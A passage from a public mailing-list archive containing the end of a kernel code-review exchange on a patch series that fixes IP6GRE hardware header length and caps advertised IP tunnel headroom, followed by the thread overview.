never reaches 512, which would make the new call here dead code.
"
In patch #1 we fixed a bug where hard_header_len was summed across
multiple devices. If this bug ever reappears, ip_tunnel_limit_headroom()
will cap the headroom and it costs us nothing to include it here.
"
This isn't a bug introduced by this patch, the missing needed_headroom term
in ip6gre_tnl_link_config_route() predates it, but the patch adds a clamp on
top of it and makes the four sites look uniform while they compute different
quantities. Would it be clearer to either leave the ip6gre site alone or
mention in the changelog that ip6gre derives a different value?
"
See above.
^ permalink raw reply [flat|nested] 5+ messages in thread
end of thread, other threads:[~2026-08-17 6:43 UTC | newest]
Thread overview: 5+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-08-12 16:22 [PATCH net v4 0/2] net: fix IP6GRE header length before capping tunnel headroom Zhiling Zou
2026-08-12 16:22 ` [PATCH net v4 1/2] ip6_gre: fix hardware header length for NBMA tunnels Zhiling Zou
2026-08-17 6:42 ` Ido Schimmel
2026-08-12 16:22 ` [PATCH net v4 2/2] net: cap advertised IP tunnel headroom Zhiling Zou
2026-08-17 6:43 ` Ido Schimmel
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.